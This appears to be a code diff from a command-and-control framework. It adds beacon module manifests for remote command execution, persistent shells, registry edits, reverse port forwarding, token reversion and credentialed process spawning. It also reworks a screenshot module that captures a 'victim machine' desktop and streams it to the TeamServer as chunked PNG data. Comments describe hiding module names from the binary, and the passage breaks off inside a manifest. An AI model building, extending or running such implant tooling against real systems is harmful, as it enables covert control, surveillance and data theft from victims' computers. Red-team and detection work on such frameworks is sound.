|
||||
"type": "enum",
|
||||
"required": true,
|
||||
"description": "Registry operation.",
|
||||
"values": [
|
||||
"set",
|
||||
"deleteValue",
|
||||
"delete",
|
||||
"delvalue",
|
||||
"query",
|
||||
"get",
|
||||
"createKey",
|
||||
"create",
|
||||
"deleteKey",
|
||||
"delkey"
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "-s",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Remote host. Omit for localhost."
|
||||
},
|
||||
{
|
||||
"name": "-h",
|
||||
"type": "flag",
|
||||
"required": true,
|
||||
"description": "Root hive, for example HKLM, HKCU, HKU, HKCR, or HKCC.",
|
||||
"values": ["HKLM", "HKCU", "HKU", "HKCR", "HKCC"]
|
||||
},
|
||||
{
|
||||
"name": "-k",
|
||||
"type": "flag",
|
||||
"required": true,
|
||||
"description": "Subkey path."
|
||||
},
|
||||
{
|
||||
"name": "-n",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Value name required for value operations."
|
||||
},
|
||||
{
|
||||
"name": "-d",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Value data for set."
|
||||
},
|
||||
{
|
||||
"name": "-t",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Registry value type for set. Defaults to REG_SZ.",
|
||||
"values": ["REG_SZ", "REG_DWORD", "REG_QWORD", "REG_EXPAND_SZ"]
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"registry set -h HKLM -k Software\\Acme -n Path -d C:/Temp -t REG_SZ",
|
||||
"registry query -h HKCU -k Environment -n Path",
|
||||
"registry createKey -h HKCU -k Software\\Acme"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
{
|
||||
"name": "remove",
|
||||
"display_name": "remove",
|
||||
"kind": "module",
|
||||
"description": "Remove a remote file or directory from the beacon.",
|
||||
"command_template": "remove {path:q}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [
|
||||
{
|
||||
"name": "path",
|
||||
"type": "path",
|
||||
"required": true,
|
||||
"description": "Remote file or directory path.",
|
||||
"variadic": true
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"remove /tmp/file.txt",
|
||||
"remove C:\\Temp\\file.txt"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
{
|
||||
"name": "rev2self",
|
||||
"display_name": "rev2self",
|
||||
"kind": "module",
|
||||
"description": "Return the beacon to its original token context.",
|
||||
"command_template": "rev2self",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [],
|
||||
"examples": [
|
||||
"rev2self"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
{
|
||||
"name": "reversePortForward",
|
||||
"display_name": "reversePortForward",
|
||||
"kind": "module",
|
||||
"description": "Start a reverse port forward from the beacon to a local service.",
|
||||
"command_template": "reversePortForward {remote_port} {local_host:q} {local_port}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [
|
||||
{
|
||||
"name": "remote_port",
|
||||
"type": "number",
|
||||
"required": true,
|
||||
"description": "Port to listen on remotely."
|
||||
},
|
||||
{
|
||||
"name": "local_host",
|
||||
"type": "text",
|
||||
"required": true,
|
||||
"description": "Local host reachable from the TeamServer side to forward traffic to."
|
||||
},
|
||||
{
|
||||
"name": "local_port",
|
||||
"type": "number",
|
||||
"required": true,
|
||||
"description": "Local port to forward traffic to."
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"reversePortForward 8080 127.0.0.1 80"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
{
|
||||
"name": "run",
|
||||
"display_name": "run",
|
||||
"kind": "module",
|
||||
"description": "Run a system command on the beacon and return its output.",
|
||||
"command_template": "run {command:raw}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [
|
||||
{
|
||||
"name": "command",
|
||||
"type": "text",
|
||||
"required": true,
|
||||
"description": "Command line to execute.",
|
||||
"variadic": true
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"run whoami",
|
||||
"run id",
|
||||
"run cmd /c dir"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -2,14 +2,20 @@ include_directories(../)
|
||||
add_library(ScreenShot SHARED ScreenShot.cpp ScreenShooter.cpp)
|
||||
set_property(TARGET ScreenShot PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
|
||||
target_link_libraries(ScreenShot )
|
||||
if(WIN32)
|
||||
target_link_libraries(ScreenShot gdiplus ole32)
|
||||
endif()
|
||||
add_custom_command(TARGET ScreenShot POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
$<TARGET_FILE:ScreenShot> "${C2_RUNTIME_MODULE_OUTPUT_DIR}/$<TARGET_FILE_NAME:ScreenShot>")
|
||||
|
||||
if(C2CORE_BUILD_TESTS)
|
||||
add_executable(testsScreenShot tests/testsScreenShot.cpp ScreenShot.cpp ScreenShooter.cpp)
|
||||
target_link_libraries(testsScreenShot )
|
||||
if(WIN32)
|
||||
target_link_libraries(testsScreenShot gdiplus ole32)
|
||||
endif()
|
||||
add_custom_command(TARGET testsScreenShot POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
$<TARGET_FILE:testsScreenShot> "${C2_TEST_BIN_OUTPUT_DIR}/$<TARGET_FILE_NAME:testsScreenShot>")
|
||||
|
||||
add_test(NAME testsScreenShot COMMAND "${C2_TEST_BIN_OUTPUT_DIR}/$<TARGET_FILE_NAME:testsScreenShot>")
|
||||
endif()
|
||||
endif()
|
||||
|
||||
@@ -2,16 +2,46 @@
|
||||
|
||||
#include "ScreenShooter.h"
|
||||
|
||||
#include <gdiplus.h>
|
||||
#include <objidl.h>
|
||||
|
||||
#include <cwchar>
|
||||
#include <iostream>
|
||||
#include <vector>
|
||||
|
||||
using namespace guards;
|
||||
|
||||
|
||||
void CreateBitmapFinal(std::vector<unsigned char> & data, CDCGuard &captureGuard, CBitMapGuard & bmpGuard, HGDIOBJ & originalBmp, int nScreenWidth, int nScreenHeight);
|
||||
bool CreatePngFinal(std::vector<unsigned char> & data, CDCGuard &captureGuard, CBitMapGuard & bmpGuard, HGDIOBJ & originalBmp);
|
||||
void CaptureDesktop(CDCGuard &desktopGuard, CDCGuard &captureGuard, CBitMapGuard & bmpGuard, HGDIOBJ & originalBmp, int * width, int * height, int left, int top);
|
||||
void SpliceImages(ScreenShooter::CDisplayHandlesPool * pHdcPool, CDCGuard &captureGuard, CBitMapGuard & bmpGuard, HGDIOBJ & originalBmp, int * width, int * height);
|
||||
|
||||
|
||||
int GetEncoderClsid(const WCHAR* format, CLSID* pClsid)
|
||||
{
|
||||
UINT num = 0;
|
||||
UINT size = 0;
|
||||
Gdiplus::GetImageEncodersSize(&num, &size);
|
||||
if (size == 0)
|
||||
return -1;
|
||||
|
||||
std::vector<BYTE> buffer(size);
|
||||
auto imageCodecInfo = reinterpret_cast<Gdiplus::ImageCodecInfo*>(buffer.data());
|
||||
if (Gdiplus::GetImageEncoders(num, size, imageCodecInfo) != Gdiplus::Ok)
|
||||
return -1;
|
||||
|
||||
for (UINT index = 0; index < num; ++index)
|
||||
{
|
||||
if (std::wcscmp(imageCodecInfo[index].MimeType, format) == 0)
|
||||
{
|
||||
*pClsid = imageCodecInfo[index].Clsid;
|
||||
return static_cast<int>(index);
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
BOOL CALLBACK ScreenShooter::MonitorEnumProc(
|
||||
HMONITOR hMonitor, // handle to display monitor
|
||||
HDC hdcMonitor, // handle to monitor DC
|
||||
@@ -46,58 +76,58 @@ void ScreenShooter::CaptureScreen(std::vector<unsigned char>& dataScreen)
|
||||
|
||||
SpliceImages(& displayHandles, captureGuard, bmpGuard, originalBmp, &width, &height);
|
||||
|
||||
CreateBitmapFinal(dataScreen, captureGuard, bmpGuard, originalBmp, width, height);
|
||||
CreatePngFinal(dataScreen, captureGuard, bmpGuard, originalBmp);
|
||||
}
|
||||
|
||||
|
||||
void CreateBitmapFinal(std::vector<unsigned char> & data, CDCGuard &captureGuard, CBitMapGuard & bmpGuard, HGDIOBJ & originalBmp, int nScreenWidth, int nScreenHeight)
|
||||
bool CreatePngFinal(std::vector<unsigned char> & data, CDCGuard &captureGuard, CBitMapGuard & bmpGuard, HGDIOBJ & originalBmp)
|
||||
{
|
||||
// save data to buffer
|
||||
unsigned char charBitmapInfo[sizeof(BITMAPINFOHEADER) + 256 * sizeof(RGBQUAD)] = {0};
|
||||
LPBITMAPINFO lpbi = (LPBITMAPINFO)charBitmapInfo;
|
||||
lpbi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
|
||||
lpbi->bmiHeader.biHeight = nScreenHeight;
|
||||
lpbi->bmiHeader.biWidth = nScreenWidth;
|
||||
lpbi->bmiHeader.biPlanes = 1;
|
||||
lpbi->bmiHeader.biBitCount = 32;
|
||||
lpbi->bmiHeader.biCompression = BI_RGB;
|
||||
data.clear();
|
||||
if (!bmpGuard.get())
|
||||
return false;
|
||||
|
||||
SelectObject(captureGuard.get(), originalBmp);
|
||||
if (originalBmp)
|
||||
SelectObject(captureGuard.get(), originalBmp);
|
||||
|
||||
if (!GetDIBits(captureGuard.get(), bmpGuard.get(), 0, nScreenHeight, NULL, lpbi, DIB_RGB_COLORS))
|
||||
Gdiplus::GdiplusStartupInput gdiplusStartupInput;
|
||||
ULONG_PTR gdiplusToken = 0;
|
||||
if (Gdiplus::GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL) != Gdiplus::Ok)
|
||||
return false;
|
||||
|
||||
CLSID pngClsid;
|
||||
bool success = false;
|
||||
IStream* stream = NULL;
|
||||
if (GetEncoderClsid(L"image/png", &pngClsid) >= 0
|
||||
&& CreateStreamOnHGlobal(NULL, TRUE, &stream) == S_OK)
|
||||
{
|
||||
int err = GetLastError();
|
||||
// throw std::runtime_error("CreateBitmapFinal: GetDIBits failed");
|
||||
Gdiplus::Bitmap bitmap(bmpGuard.get(), NULL);
|
||||
if (bitmap.GetLastStatus() == Gdiplus::Ok
|
||||
&& bitmap.Save(stream, &pngClsid, NULL) == Gdiplus::Ok)
|
||||
{
|
||||
HGLOBAL global = NULL;
|
||||
if (GetHGlobalFromStream(stream, &global) == S_OK)
|
||||
{
|
||||
STATSTG stat = {};
|
||||
void* memory = GlobalLock(global);
|
||||
if (memory != NULL
|
||||
&& stream->Stat(&stat, STATFLAG_NONAME) == S_OK
|
||||
&& stat.cbSize.QuadPart > 0)
|
||||
{
|
||||
const SIZE_T size = static_cast<SIZE_T>(stat.cbSize.QuadPart);
|
||||
auto begin = static_cast<unsigned char*>(memory);
|
||||
data.assign(begin, begin + size);
|
||||
success = true;
|
||||
}
|
||||
if (memory != NULL)
|
||||
GlobalUnlock(global);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
DWORD ImageSize = lpbi->bmiHeader.biSizeImage; //known image size
|
||||
|
||||
DWORD PalEntries = 3;
|
||||
if (lpbi->bmiHeader.biCompression != BI_BITFIELDS)
|
||||
PalEntries = (lpbi->bmiHeader.biBitCount <= 8) ?(int)(1 << lpbi->bmiHeader.biBitCount) : 0;
|
||||
if (lpbi->bmiHeader.biClrUsed)
|
||||
PalEntries = lpbi->bmiHeader.biClrUsed;
|
||||
//known pal entrys count
|
||||
|
||||
//all resize
|
||||
data.resize(sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + PalEntries * sizeof(RGBQUAD) + ImageSize);
|
||||
//set screenshot size
|
||||
|
||||
DWORD imageOffset = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + PalEntries * sizeof(RGBQUAD);
|
||||
DWORD infoHeaderOffset = sizeof(BITMAPFILEHEADER);
|
||||
BITMAPFILEHEADER * pFileHeader = (BITMAPFILEHEADER *)&data[0];
|
||||
pFileHeader->bfType = 19778; // always the same, 'BM'
|
||||
pFileHeader->bfReserved1 = pFileHeader->bfReserved2 = 0;
|
||||
pFileHeader->bfOffBits = imageOffset;
|
||||
pFileHeader->bfSize = ImageSize;
|
||||
|
||||
if (!GetDIBits(captureGuard.get(), bmpGuard.get(), 0, nScreenHeight, &data[imageOffset], lpbi, DIB_RGB_COLORS))
|
||||
{
|
||||
// throw std::runtime_error("CreateBitmapFinal: GetDIBits failed");
|
||||
}
|
||||
|
||||
memcpy(&data[sizeof(BITMAPFILEHEADER)], &lpbi->bmiHeader, sizeof(BITMAPINFOHEADER));
|
||||
|
||||
if (stream != NULL)
|
||||
stream->Release();
|
||||
Gdiplus::GdiplusShutdown(gdiplusToken);
|
||||
return success;
|
||||
}
|
||||
|
||||
|
||||
@@ -196,4 +226,4 @@ void SpliceImages( ScreenShooter::CDisplayHandlesPool * pHdcPool
|
||||
}
|
||||
|
||||
|
||||
#endif
|
||||
#endif
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
|
||||
#include "Common.hpp"
|
||||
|
||||
#include <algorithm>
|
||||
#include <cstring>
|
||||
#include <chrono>
|
||||
#include <sstream>
|
||||
@@ -17,6 +18,7 @@ using namespace std;
|
||||
// Compute hash of moduleName at compile time, so the moduleName string don't show in the binary
|
||||
constexpr std::string_view moduleName = "screenShot";
|
||||
constexpr unsigned long long moduleHash = djb2(moduleName);
|
||||
constexpr std::size_t CHUNK_SIZE = 1 * 1024 * 1024;
|
||||
|
||||
|
||||
#ifdef _WIN32
|
||||
@@ -53,9 +55,10 @@ std::string ScreenShot::getInfo()
|
||||
// TODO: add screenshot every x seconds with a recurringExec
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "ScreenShot:\n";
|
||||
info += "ScreenShot\n";
|
||||
info += "Capture a screenshot and store it as a generated PNG TeamServer artifact.\n";
|
||||
info += "exemple:\n";
|
||||
info += "- ScreenShot\n";
|
||||
info += "- screenShot\n";
|
||||
info += "- screenShot desktop.png\n";
|
||||
#endif
|
||||
return info;
|
||||
}
|
||||
@@ -78,22 +81,72 @@ int ScreenShot::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
}
|
||||
|
||||
|
||||
#define ERROR_OPEN_FILE 1
|
||||
#define ERROR_OPEN_FILE 1
|
||||
#define ERROR_CAPTURE_SCREEN 2
|
||||
|
||||
int ScreenShot::emitChunk(C2Message& c2RetMessage)
|
||||
{
|
||||
if (m_screenshotBuffer.empty() || m_bytesSent >= m_screenshotBuffer.size())
|
||||
return 0;
|
||||
|
||||
const std::size_t totalSize = m_screenshotBuffer.size();
|
||||
const std::size_t chunkSize = std::min(CHUNK_SIZE, totalSize - m_bytesSent);
|
||||
c2RetMessage.set_instruction(std::to_string(moduleHash));
|
||||
c2RetMessage.set_cmd("");
|
||||
c2RetMessage.set_uuid(m_taskUuid);
|
||||
c2RetMessage.set_outputfile(m_outputfile);
|
||||
c2RetMessage.set_args(m_bytesSent == 0 ? "0" : "1");
|
||||
c2RetMessage.set_data(m_screenshotBuffer.data() + m_bytesSent, chunkSize);
|
||||
|
||||
m_bytesSent += chunkSize;
|
||||
if (m_bytesSent == totalSize)
|
||||
{
|
||||
c2RetMessage.set_returnvalue("Success");
|
||||
m_outputfile.clear();
|
||||
m_taskUuid.clear();
|
||||
m_screenshotBuffer.clear();
|
||||
m_bytesSent = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
c2RetMessage.set_returnvalue(std::to_string(m_bytesSent) + "/" + std::to_string(totalSize));
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
int ScreenShot::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
{
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_instruction(c2Message.instruction());
|
||||
c2RetMessage.set_outputfile(c2Message.outputfile());
|
||||
c2RetMessage.set_args("0");
|
||||
|
||||
#ifdef _WIN32
|
||||
std::vector<unsigned char> dataScreen;
|
||||
ScreenShooter::CaptureScreen(dataScreen);
|
||||
|
||||
std::string buffer(dataScreen.begin(), dataScreen.end());
|
||||
c2RetMessage.set_data(buffer);
|
||||
if (dataScreen.empty())
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_CAPTURE_SCREEN);
|
||||
return 0;
|
||||
}
|
||||
|
||||
c2RetMessage.set_returnvalue("Success");
|
||||
#endif
|
||||
m_outputfile = c2Message.outputfile();
|
||||
m_taskUuid = c2Message.uuid();
|
||||
m_screenshotBuffer.assign(dataScreen.begin(), dataScreen.end());
|
||||
m_bytesSent = 0;
|
||||
emitChunk(c2RetMessage);
|
||||
#elif defined(C2CORE_BUILD_TESTS)
|
||||
if (!c2Message.data().empty())
|
||||
{
|
||||
m_outputfile = c2Message.outputfile();
|
||||
m_taskUuid = c2Message.uuid();
|
||||
m_screenshotBuffer = c2Message.data();
|
||||
m_bytesSent = 0;
|
||||
emitChunk(c2RetMessage);
|
||||
}
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -107,6 +160,8 @@ int ScreenShot::errorCodeToMsg(const C2Message &c2RetMessage, std::string& error
|
||||
{
|
||||
if(errorCode==ERROR_OPEN_FILE)
|
||||
errorMsg = "Failed: Couldn't open file";
|
||||
else if(errorCode==ERROR_CAPTURE_SCREEN)
|
||||
errorMsg = "Failed: screen capture returned no data";
|
||||
}
|
||||
#endif
|
||||
return 0;
|
||||
@@ -134,9 +189,7 @@ std::string getFilenameTimestamp()
|
||||
|
||||
int ScreenShot::recurringExec(C2Message& c2RetMessage)
|
||||
{
|
||||
// TODO
|
||||
|
||||
return 1;
|
||||
return emitChunk(c2RetMessage);
|
||||
}
|
||||
|
||||
|
||||
@@ -144,11 +197,14 @@ int ScreenShot::recurringExec(C2Message& c2RetMessage)
|
||||
int ScreenShot::followUp(const C2Message &c2RetMessage)
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
if(!c2RetMessage.outputfile().empty())
|
||||
return 0;
|
||||
|
||||
const std::string buffer = c2RetMessage.data();
|
||||
|
||||
if(buffer.size()>0)
|
||||
{
|
||||
std::string outputFile = "screenShot" + getFilenameTimestamp() + ".bmp";
|
||||
std::string outputFile = "screenShot" + getFilenameTimestamp() + ".png";
|
||||
std::ofstream output(outputFile, std::ios::binary);
|
||||
output << buffer;
|
||||
output.close();
|
||||
|
||||
@@ -23,7 +23,12 @@ public:
|
||||
}
|
||||
|
||||
private:
|
||||
int emitChunk(C2Message& c2RetMessage);
|
||||
|
||||
std::string m_outputfile;
|
||||
std::string m_taskUuid;
|
||||
std::string m_screenshotBuffer;
|
||||
std::size_t m_bytesSent = 0;
|
||||
};
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
{
|
||||
"name": "screenShot",
|
||||
"display_name": "screenShot",
|
||||
"kind": "module",
|
||||
"description": "Capture a screenshot from the beacon host and register it as a generated PNG TeamServer artifact.",
|
||||
"command_template": "screenShot {artifact_name:q?}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "artifact_name",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "Optional generated PNG artifact filename hint. Omit the extension or use .png."
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"screenShot",
|
||||
"screenShot desktop.png"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
#include "../ScreenShot.hpp"
|
||||
#include "../../tests/TestHelpers.hpp"
|
||||
|
||||
#include <algorithm>
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
@@ -9,9 +10,20 @@ using namespace test_helpers;
|
||||
|
||||
namespace
|
||||
{
|
||||
bool hasBmpHeader(const std::string& data)
|
||||
constexpr std::size_t ChunkSize = 1 * 1024 * 1024;
|
||||
|
||||
bool hasPngHeader(const std::string& data)
|
||||
{
|
||||
return data.size() >= 2 && data[0] == 'B' && data[1] == 'M';
|
||||
const unsigned char expected[] = {0x89, 'P', 'N', 'G', '\r', '\n', 0x1A, '\n'};
|
||||
return data.size() >= sizeof(expected)
|
||||
&& std::equal(
|
||||
expected,
|
||||
expected + sizeof(expected),
|
||||
data.begin(),
|
||||
[](unsigned char lhs, char rhs)
|
||||
{
|
||||
return lhs == static_cast<unsigned char>(rhs);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
@@ -52,7 +64,7 @@ int main()
|
||||
ScreenShot module;
|
||||
C2Message recurring;
|
||||
|
||||
ok &= expect(module.recurringExec(recurring) == 1, "recurringExec should report no recurring work yet");
|
||||
ok &= expect(module.recurringExec(recurring) == 0, "recurringExec should report no recurring work when no screenshot is pending");
|
||||
}
|
||||
|
||||
{
|
||||
@@ -60,7 +72,8 @@ int main()
|
||||
C2Message ret;
|
||||
|
||||
ok &= expect(module.followUp(ret) == 0, "followUp should accept an empty response");
|
||||
ret.set_data("not-a-bmp");
|
||||
ret.set_outputfile("generated-screenshot.png");
|
||||
ret.set_data("not-a-png");
|
||||
ok &= expect(module.followUp(ret) == 0, "followUp should accept response data");
|
||||
}
|
||||
|
||||
@@ -71,13 +84,26 @@ int main()
|
||||
C2Message ret;
|
||||
|
||||
ok &= expect(module.init(cmd, message) == 0, "process setup should initialize");
|
||||
message.set_outputfile("generated-screenshot.png");
|
||||
ok &= expect(module.process(message, ret) == 0, "process should return success");
|
||||
#ifdef _WIN32
|
||||
ok &= expect(!ret.instruction().empty(), "process should return a screenshot instruction");
|
||||
#else
|
||||
ok &= expect(ret.instruction() == "screenShot", "process should preserve instruction");
|
||||
#endif
|
||||
ok &= expect(ret.outputfile() == "generated-screenshot.png", "process should preserve generated artifact output path");
|
||||
ok &= expect(ret.args() == "0", "process should mark screenshot as the first artifact chunk");
|
||||
|
||||
#ifdef _WIN32
|
||||
ok &= expect(ret.returnvalue() == "Success", "Windows process should report Success");
|
||||
if (!ret.data().empty())
|
||||
if (ret.errorCode() > 0)
|
||||
{
|
||||
ok &= expect(hasBmpHeader(ret.data()), "Windows screenshot data should have a BMP header when data is captured");
|
||||
ok &= expect(ret.data().empty(), "failed Windows capture should not return payload data");
|
||||
}
|
||||
else if (!ret.data().empty())
|
||||
{
|
||||
ok &= expect(ret.returnvalue() == "Success" || ret.returnvalue().find("/") != std::string::npos,
|
||||
"Windows process should report success or chunk progress");
|
||||
ok &= expect(hasPngHeader(ret.data()), "Windows screenshot data should have a PNG header when data is captured");
|
||||
}
|
||||
#else
|
||||
ok &= expect(ret.returnvalue().empty(), "non-Windows process should not report screenshot output");
|
||||
@@ -85,6 +111,38 @@ int main()
|
||||
#endif
|
||||
}
|
||||
|
||||
#if defined(C2CORE_BUILD_TESTS) && !defined(_WIN32)
|
||||
{
|
||||
ScreenShot module;
|
||||
C2Message message;
|
||||
C2Message firstChunk;
|
||||
C2Message finalChunk;
|
||||
const std::string payload(ChunkSize + 3, 'A');
|
||||
|
||||
message.set_instruction("screenShot");
|
||||
message.set_uuid("shot-0001");
|
||||
message.set_outputfile("generated-screenshot.png");
|
||||
message.set_data(payload);
|
||||
|
||||
ok &= expect(module.process(message, firstChunk) == 0, "test payload process should return success");
|
||||
ok &= expect(firstChunk.uuid() == "shot-0001", "first chunk should preserve task uuid");
|
||||
ok &= expect(firstChunk.outputfile() == "generated-screenshot.png", "first chunk should preserve output file");
|
||||
ok &= expect(firstChunk.args() == "0", "first chunk should be marked as initial artifact data");
|
||||
ok &= expect(firstChunk.data().size() == ChunkSize, "first chunk should use the screenshot chunk size");
|
||||
ok &= expect(firstChunk.returnvalue().find("/") != std::string::npos, "first chunk should report transfer progress");
|
||||
|
||||
ok &= expect(module.recurringExec(finalChunk) == 1, "recurringExec should emit the remaining screenshot chunk");
|
||||
ok &= expect(finalChunk.uuid() == "shot-0001", "final chunk should preserve task uuid");
|
||||
ok &= expect(finalChunk.outputfile() == "generated-screenshot.png", "final chunk should preserve output file");
|
||||
ok &= expect(finalChunk.args() == "1", "final chunk should be marked as a continuation artifact chunk");
|
||||
ok &= expect(finalChunk.data().size() == 3, "final chunk should contain the remaining screenshot bytes");
|
||||
ok &= expect(finalChunk.returnvalue() == "Success", "final chunk should complete the screenshot transfer");
|
||||
|
||||
C2Message done;
|
||||
ok &= expect(module.recurringExec(done) == 0, "recurringExec should stop after the final screenshot chunk");
|
||||
}
|
||||
#endif
|
||||
|
||||
{
|
||||
ScreenShot module;
|
||||
C2Message ret;
|
||||
|
||||
@@ -185,9 +185,10 @@ std::string Script::getInfo()
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "script:\n";
|
||||
info += "Launch the script on the victim machine\n";
|
||||
info += "Launch a TeamServer-managed script artifact on the victim machine.\n";
|
||||
info += "Scripts are resolved from Scripts/<platform> or Scripts/Any.\n";
|
||||
info += "exemple:\n";
|
||||
info += " - script /tmp/toto.sh\n";
|
||||
info += " - script collect.sh\n";
|
||||
#endif
|
||||
return info;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
{
|
||||
"name": "script",
|
||||
"display_name": "script",
|
||||
"kind": "module",
|
||||
"description": "Run a TeamServer-managed script artifact on the beacon. Scripts are resolved from Scripts/<platform>, Scripts/Any, or UploadedArtifacts.",
|
||||
"command_template": "script {script_artifact:q}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [
|
||||
{
|
||||
"name": "script_artifact",
|
||||
"type": "artifact",
|
||||
"required": true,
|
||||
"description": "Script artifact compatible with the current session.",
|
||||
"artifact_filters": [
|
||||
{
|
||||
"category": "script",
|
||||
"scope": "server",
|
||||
"target": "beacon",
|
||||
"platform": "session.platform",
|
||||
"runtime": "cmd"
|
||||
},
|
||||
{
|
||||
"category": "script",
|
||||
"scope": "server",
|
||||
"target": "beacon",
|
||||
"platform": "session.platform",
|
||||
"runtime": "shell"
|
||||
},
|
||||
{
|
||||
"category": "upload",
|
||||
"scope": "operator",
|
||||
"target": "beacon",
|
||||
"platform": "session.platform",
|
||||
"arch": "session.arch",
|
||||
"runtime": "cmd"
|
||||
},
|
||||
{
|
||||
"category": "upload",
|
||||
"scope": "operator",
|
||||
"target": "beacon",
|
||||
"platform": "session.platform",
|
||||
"arch": "session.arch",
|
||||
"runtime": "shell"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"script cleanup.sh",
|
||||
"script collect.cmd"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
{
|
||||
"name": "shell",
|
||||
"display_name": "shell",
|
||||
"kind": "module",
|
||||
"description": "Start or interact with a persistent shell on the beacon.",
|
||||
"command_template": "shell {command:raw?}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [
|
||||
{
|
||||
"name": "command",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "Optional shell command. Empty command starts the shell; exit stops it.",
|
||||
"variadic": true
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"shell",
|
||||
"shell whoami",
|
||||
"shell exit"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -0,0 +1,86 @@
|
||||
{
|
||||
"name": "spawnAs",
|
||||
"display_name": "spawnAs",
|
||||
"kind": "module",
|
||||
"description": "Spawn a command under explicit Windows credentials.",
|
||||
"command_template": "spawnAs [-d {d:q}] [-l {l}] [-p {p:flag}] [--with-profile {with_profile:flag}] [--no-profile {no_profile:flag}] [-w {w:flag}] [--show-window {show_window:flag}] [--netonly {netonly:flag}] {username:q} {password:q} -- {command:raw}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "-d",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Domain override."
|
||||
},
|
||||
{
|
||||
"name": "-l",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Windows logon type.",
|
||||
"values": ["2", "9"]
|
||||
},
|
||||
{
|
||||
"name": "-p",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Load the user profile before launching the process."
|
||||
},
|
||||
{
|
||||
"name": "--with-profile",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Load the user profile before launching the process."
|
||||
},
|
||||
{
|
||||
"name": "--no-profile",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Do not load the user profile."
|
||||
},
|
||||
{
|
||||
"name": "-w",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Show the process window."
|
||||
},
|
||||
{
|
||||
"name": "--show-window",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Show the process window."
|
||||
},
|
||||
{
|
||||
"name": "--netonly",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Use LOGON32_LOGON_NEW_CREDENTIALS."
|
||||
},
|
||||
{
|
||||
"name": "username",
|
||||
"type": "text",
|
||||
"required": true,
|
||||
